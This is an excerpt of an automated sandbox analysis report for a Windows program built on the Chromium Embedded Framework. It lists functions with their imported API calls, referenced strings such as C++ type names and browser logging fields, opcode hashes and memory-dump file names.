API String ID: 2086374402-0
Opcode ID: cc3fefdac151d0d6c1831a70d1ab07d2dc3f3163a8702bb6ad1aa6244e1ccde4
Instruction ID: fed9de096972e1d49ad89bff175a8d3a43fe34c77d987ec5abdf4645fcdd853f
Opcode Fuzzy Hash: cc3fefdac151d0d6c1831a70d1ab07d2dc3f3163a8702bb6ad1aa6244e1ccde4
Instruction Fuzzy Hash: 81E0BF72A296448BDB85CF55F49051AB7B0FB8CB95B446021FA9B87B18DA3CD4548F00

Function 00007FF8BFB594CC Relevance: 58.1, APIs: 4, Strings: 29, Instructions: 382
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB59A3D
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB59A72
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB59AAB

Strings

char16_t, xrefs: 00007FF8BFB597CC
char, xrefs: 00007FF8BFB5959C
short, xrefs: 00007FF8BFB5958A
int, xrefs: 00007FF8BFB59578
long , xrefs: 00007FF8BFB595DB
void, xrefs: 00007FF8BFB59630
bool, xrefs: 00007FF8BFB59794
__int16, xrefs: 00007FF8BFB596D4
double, xrefs: 00007FF8BFB595F2
volatile, xrefs: 00007FF8BFB598E3
wchar_t, xrefs: 00007FF8BFB5995E
__w64 , xrefs: 00007FF8BFB59710
volatile, xrefs: 00007FF8BFB598B6
auto, xrefs: 00007FF8BFB597FF
__int128, xrefs: 00007FF8BFB59764
__int8, xrefs: 00007FF8BFB596E6
unsigned , xrefs: 00007FF8BFB599FA
this , xrefs: 00007FF8BFB59985
decltype(auto), xrefs: 00007FF8BFB59914
char8_t, xrefs: 00007FF8BFB597ED
UNKNOWN, xrefs: 00007FF8BFB59940
const, xrefs: 00007FF8BFB5989B
<unknown>, xrefs: 00007FF8BFB597DE
float, xrefs: 00007FF8BFB5961E
__int64, xrefs: 00007FF8BFB59773
char32_t, xrefs: 00007FF8BFB599BF
signed , xrefs: 00007FF8BFB59A0A
__int32, xrefs: 00007FF8BFB59782
long, xrefs: 00007FF8BFB59566

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: Name::operator+
String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $auto$bool$char$char16_t$char32_t$char8_t$const$decltype(auto)$double$float$int$long$long $short$signed $this $unsigned $void$volatile$wchar_t
API String ID: 2943138195-1482988683
Opcode ID: 42bd956a0521df0bb215b1c300124c972e1b6c0f845a56a9a1a0b204cefc3c34
Instruction ID: 9beb810c392dd75c95d1f46afca499ea04f6a459903b88750cbbc2928c288afc
Opcode Fuzzy Hash: 42bd956a0521df0bb215b1c300124c972e1b6c0f845a56a9a1a0b204cefc3c34
Instruction Fuzzy Hash: AA024B72E18A1698FB589FECD8A41BC77B0BB057C4F545136DB0E56A98EF2CB644C340

Function 00007FF7F96F65B0 Relevance: 45.8, APIs: 18, Strings: 8, Instructions: 336
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

cef_string_map_alloc.LIBCEF ref: 00007FF7F96F6620
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@H@Z.MSVCP140 ref: 00007FF7F96F6770
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@H@Z.MSVCP140 ref: 00007FF7F96F67BE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F682C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F683C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F684C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F6859
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F68A7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F68F2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F6902
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F6912
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F691F
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F6966

Part of subcall function 00007FF7F970B3E0: ??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF7F970B43B
Part of subcall function 00007FF7F970B3E0: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7F970B46C
Part of subcall function 00007FF7F970B3E0: GetLastError.KERNEL32 ref: 00007FF7F970B49E

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F69B1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F69C1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F69D1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F69DE
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F6A1F

Strings

[OnResourceResponse], xrefs: 00007FF7F96F6750
c:\projects\hydra\main\code\contrib\contrib\scene\src\source\cef\client_handler_impl.cpp, xrefs: 00007FF7F96F66E4
request=, xrefs: 00007FF7F96F6793
browser=, xrefs: 00007FF7F96F675F
response.status=, xrefs: 00007FF7F96F67AD
?, xrefs: 00007FF7F96F66D3
frame=, xrefs: 00007FF7F96F6779
response.statusText=, xrefs: 00007FF7F96F67C7

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$U?$char_traits@$D@std@@@std@@cef_string_map_alloc$??6?$basic_ostream@V01@$??0?$basic_ostream@??0?$basic_streambuf@D@std@@@1@_ErrorLastV?$basic_streambuf@
String ID: browser=$ frame=$ request=$ response.status=$ response.statusText=$?$[OnResourceResponse]$c:\projects\hydra\main\code\contrib\contrib\scene\src\source\cef\client_handler_impl.cpp
API String ID: 2865712288-1385742800
Opcode ID: 53f7230bd971caf00079091c7a204c7fedf6cfb11e5048e3a44c5828b7dca608
Instruction ID: 62455ad4102150101a95b9422dd3116854355c75e5b0ceacbe1249569e03df16
Opcode Fuzzy Hash: 53f7230bd971caf00079091c7a204c7fedf6cfb11e5048e3a44c5828b7dca608
Instruction Fuzzy Hash: ADE19172A08B8685EB54EF25DC543A9A376FB44B98F804135DA6D076EDEF3CD48483A0

Function 00007FF7F96F78B0 Relevance: 44.2, APIs: 24, Strings: 1, Instructions: 440COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F79B4
memcpy.VCRUNTIME140 ref: 00007FF7F96F79CF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F79EF
memmove.VCRUNTIME140 ref: 00007FF7F96F7A25
memcpy.VCRUNTIME140 ref: 00007FF7F96F7A3B
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F7AF1
memcpy.VCRUNTIME140 ref: 00007FF7F96F7B0C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F7B2C
memmove.VCRUNTIME140 ref: 00007FF7F96F7B62
memcpy.VCRUNTIME140 ref: 00007FF7F96F7B82

Part of subcall function 00007FF7F96EFE30: new.LIBCMT ref: 00007FF7F96EFF47
Part of subcall function 00007FF7F96EFE30: cef_string_map_alloc.LIBCEF ref: 00007FF7F96EFF74

Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25C3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25D3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25E3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25F0

Part of subcall function 00007FF7F96FBE10: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96FBEC3

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F7BB5
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F7BD9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F7BE9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F7BF9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F7C06
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F7C42
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F7C88
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F7CAC
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F7CBC
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F7CCC
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F7CD9
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F7D0E
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F7E6A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F7E88

Strings

writeCertHolder, xrefs: 00007FF7F96F7DDB

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$free$cef_string_map_allocmemcpy$mallocmemmove
String ID: writeCertHolder
API String ID: 614388589-1003169611
Opcode ID: c14c586a15bddfdb8530b59ebaa6b24ae1ffb11342b534e436a16f3ce6ed9210
Instruction ID: 0143f51b3cba9704fe18db535a999f336364b67d96fcf2dbc5749f7e424d15b5
Opcode Fuzzy Hash: c14c586a15bddfdb8530b59ebaa6b24ae1ffb11342b534e436a16f3ce6ed9210
Instruction Fuzzy Hash: AD129026A05B4284EB10EF65D8443ADA7B2EB45BD8F944435DE6E07BEDEF38D441C3A0

Function 00007FF7F96F4CC0 Relevance: 39.0, APIs: 18, Strings: 4, Instructions: 460COMMON

Download Yara Rule

APIs

cef_string_map_alloc.LIBCEF ref: 00007FF7F96F4E03
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F4EA5
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F4ED3
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F4F80
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F4FAE
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F505B
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F5089
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F5168
memcpy.VCRUNTIME140 ref: 00007FF7F96F5183
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F51A3
memmove.VCRUNTIME140 ref: 00007FF7F96F51D9
memcpy.VCRUNTIME140 ref: 00007FF7F96F51EF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F5226
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F524A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F525A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F526A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F5277
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F52B4

Strings

back, xrefs: 00007FF7F96F5011
reload, xrefs: 00007FF7F96F4E57
scene, xrefs: 00007FF7F96F4E68, 00007FF7F96F4F47, 00007FF7F96F5022
forward, xrefs: 00007FF7F96F4F36

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc$_invalid_parameter_noinfo_noreturn$freememcpy$mallocmemmove
String ID: back$forward$reload$scene
API String ID: 547729093-2287126960
Opcode ID: a8aca4584c3d962fcf05249f3a7c424cd5c02abbafb34db45185e955f1eff7d9
Instruction ID: 5ca840b490b9fc70cc2d61067c93f64c92eb2651fd85d168838bd2774a990100
Opcode Fuzzy Hash: a8aca4584c3d962fcf05249f3a7c424cd5c02abbafb34db45185e955f1eff7d9
Instruction Fuzzy Hash: 21125062B09B4595EF04EFA5C8543BC6372AF85B88F858435CE2D17BE9EE39D405C3A0

Function 00007FF7F96E18F0 Relevance: 31.8, APIs: 21, Instructions: 253COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F96E1D50: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FF7F96E185E), ref: 00007FF7F96E1DAA
Part of subcall function 00007FF7F96E1D50: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FF7F96E185E), ref: 00007FF7F96E1DBA
Part of subcall function 00007FF7F96E1D50: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FF7F96E185E), ref: 00007FF7F96E1DC3

isspace.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7F96E1973
isspace.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7F96E198F
isspace.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7F96E19A9
isspace.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7F96E19C4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E1A26
memcpy.VCRUNTIME140 ref: 00007FF7F96E1A43
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E1A5C
memmove.VCRUNTIME140 ref: 00007FF7F96E1A96
memcpy.VCRUNTIME140 ref: 00007FF7F96E1AAC
isspace.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7F96E1AD4
isspace.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7F96E1AED
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E1B59
memcpy.VCRUNTIME140 ref: 00007FF7F96E1B74
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E1B8A
memmove.VCRUNTIME140 ref: 00007FF7F96E1BC0
memcpy.VCRUNTIME140 ref: 00007FF7F96E1BD6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E1C16
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E1C26
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E1C36
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E1C48
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E1C75

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: free$isspace$memcpy$mallocmemmove
String ID:
API String ID: 4286874901-0
Opcode ID: a7cacee42fec9bc54e8c85013c6daead1b90f4f637215d6f750a428c02b29c8f
Instruction ID: d3db989418aac4fc3a5e44de4002a93aecc4a95a53aad9039914fc1f58b9665d
Opcode Fuzzy Hash: a7cacee42fec9bc54e8c85013c6daead1b90f4f637215d6f750a428c02b29c8f
Instruction Fuzzy Hash: 04A1E322B08B4241EB21BF21E8403BDA7B2AB45BD4F814131DE6D57BDDCE3DD441A3A5

Function 00007FF7F96F53E0 Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 346COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F553F
memcpy.VCRUNTIME140 ref: 00007FF7F96F555A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F5570
memmove.VCRUNTIME140 ref: 00007FF7F96F55A1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F5629
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F5639
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F5649
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F56E0
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F5801
memcpy.VCRUNTIME140 ref: 00007FF7F96F581C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F5832
memmove.VCRUNTIME140 ref: 00007FF7F96F5863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F58E7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F58F7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F5907

Strings

URL, xrefs: 00007FF7F96F54E2, 00007FF7F96F57A4

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: free$mallocmemcpymemmove$cef_string_map_alloc
String ID: URL
API String ID: 719352336-1657866020
Opcode ID: 168b038dedbd7a2adf5ab60fb53ede074d21d5be4126ca81a8b5d324e9c0f5d1
Instruction ID: bb3317f1c69675208d18a8a983611ad99e1f379268230e275c9fe5eb449b5c2c
Opcode Fuzzy Hash: 168b038dedbd7a2adf5ab60fb53ede074d21d5be4126ca81a8b5d324e9c0f5d1
Instruction Fuzzy Hash: 45E18E22B09B8189EB00EFA5D8503AC77B2AB45B9CF444535DE3D1BBD8EE38D419C390

Function 00007FF8BFB5CDCC Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5CE5D
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5CE96
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5CF6A
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5CF7B
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5CFDE
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5CFEE
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5D03A
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5D04C
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5D1C1

Part of subcall function 00007FF8BFB5EDC4: Replicator::operator[].LIBVCRUNTIME ref: 00007FF8BFB5EE1E

DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5D243
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5D252

Strings

`anonymous namespace', xrefs: 00007FF8BFB5D11E

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: Name::operator+$Replicator::operator[]
String ID: `anonymous namespace'
API String ID: 3863519203-3062148218
Opcode ID: 7b7e9226b92562ce1af46590ad6a9382ebbecfc6adce6f9c26686976aa1ce793
Instruction ID: d09d7855f9546966c1a13c2cb99a482ebe1e08151631ee3cd887d9f133abbaf9
Opcode Fuzzy Hash: 7b7e9226b92562ce1af46590ad6a9382ebbecfc6adce6f9c26686976aa1ce793
Instruction Fuzzy Hash: FBE18B72A08B8699EB10DFA8E8A01EC77A1FB49784F944132EB8D17B95DF3CE555C700

Function 00007FF7F96F8670 Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF7F96F86EE

Part of subcall function 00007FF7F97037B0: cef_string_map_alloc.LIBCEF ref: 00007FF7F97037D5

cef_string_map_alloc.LIBCEF ref: 00007FF7F96F8736
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F8893
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F88A3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F88B3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F88C0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F8909
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F8919
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F8929
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F8936
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F8982
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F8992
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F89A2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F89AF
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F8A4C

Strings

://, xrefs: 00007FF7F96F884F

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$cef_string_map_alloc$memset
